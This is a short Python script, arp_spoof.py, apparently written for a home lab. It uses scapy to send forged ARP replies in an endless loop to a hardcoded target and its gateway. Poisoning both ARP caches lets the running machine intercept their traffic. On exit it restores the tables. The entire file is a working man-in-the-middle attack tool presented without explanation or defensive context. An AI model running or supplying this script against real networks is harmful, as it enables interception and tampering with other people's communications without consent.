arp_spoof.py

#!/usr/bin/ python
import argparse
import logging
import time
import scapy.all as scapy
from pwn import *
import sys

def get_mac(ip):
    arp_request = scapy.ARP(pdst=ip)
    broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
    arp_request_broadcast = broadcast/arp_request
    answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]
    if answered_list:
        return answered_list[0][1].hwsrc
    else:
        return None

def spoof(target_ip, spoof_ip):
    target_mac = get_mac(target_ip)
    packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
    scapy.send(packet, verbose=False)


def restore(destination_ip, source_ip):
    destination_mac = get_mac(destination_ip)
    source_mac = get_mac(source_ip)
    packet = scapy.ARP(op=2, pdst=destination_ip, hwdst=destination_mac, psrc=source_ip, hwsrc=source_mac)
    scapy.send(packet, verbose=False)


target_ip = "192.168.228.138"
gateway_ip = "192.168.228.2"

try:
    sent_packets_count = 0
    while True:
        spoof(target_ip, gateway_ip)
        spoof(gateway_ip, target_ip)
        sent_packets_count += 2
        print("\r[+] Packets sent: {}\n".format(sent_packets_count), end="")
        time.sleep(2)

except KeyboardInterrupt:
    log.warn("Resetting ARP Tables...\n")
    restore(target_ip, gateway_ip)
    restore(gateway_ip, target_ip)
    log.success("Exiting..")